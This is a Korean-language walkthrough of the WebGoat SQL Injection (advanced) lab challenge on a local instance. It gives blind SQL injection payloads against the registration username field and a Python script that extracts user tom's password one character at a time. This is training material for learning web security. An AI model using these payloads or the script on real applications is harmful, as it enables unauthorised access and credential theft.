SQL Injection (advanced) 5번 문제
5번 문제는 로그인과 회원가입 기능이 존재한다.
tom이라는 이름으로 비밀번호를 Blind SQLi로 알아내야 하는데 회원가입 기능에서 보면 tom 이라는 이름으로 로그인할 때 이미 존재한다는 응답으로 보았을 때 select문을 이용해서 아이디 중복을 체크한다는 것을 알 수 있다.
버프로 패킷을 캡처해보면 아래와 같다. username_reg
에 싱글쿼터를 넣어서 확인했을 때 응답이 살짝 다르고, t'||'om
이렇게 테스트 해보면 sqli가 가능할 것으로 보인다. 또한 password_reg로 보았을 때 패스워드 컬럼 이름이 password
일 수도 있다는 것을 예상할 수 있다.
blind sqli를 하기 위해 먼저 password의 길이를 아래와 같은 페이로드로 응답 값을 확인하여 확인해보면 23자리인 것을 알 수 있다.
'tom and length(password)>0--
blind sqli를 파이썬으로 코드를 짜면 패킷 응답을 확인하기 위해서 로깅이란 걸 설정해주었고, 패스워드 자리 수가 23자리이고 아스키코드로 65~127 사이에 있는 값으로 응답이 다른 것을 아래와 같이 코드로 짜주면 된다.
import requests
import logging
# 로깅 설정
logging.basicConfig(level=logging.DEBUG)
# 세션 유지
session = requests.Session()
session.cookies.set("JSESSIONID", "mVd2rNBS_4szRsFdIWXxn42vrzIPyodLSJ5IZkWS")
password = ''
for a in range(1, 24):
for i in range(65, 128):
# SQL Injection 요청
payload = f"tom' and ascii(substring(password,{a},1))>{i}-- "
url = 'http://127.0.0.1:5555/WebGoat/SqlInjectionAdvanced/challenge'
data = {
"username_reg": payload,
"email_reg": "test@naver.com",
"password_reg": "test",
"confirm_password_reg": "test"
}
# PUT 요청
response = session.put(url, data=data)
if "already" not in response.text:
print(f"패스워드 {a} 번째 자리 수 아스키 코드는 {i}입니다.")
password += chr(i)
print(f"현재 패스워드: {password}")
break
댓글남기기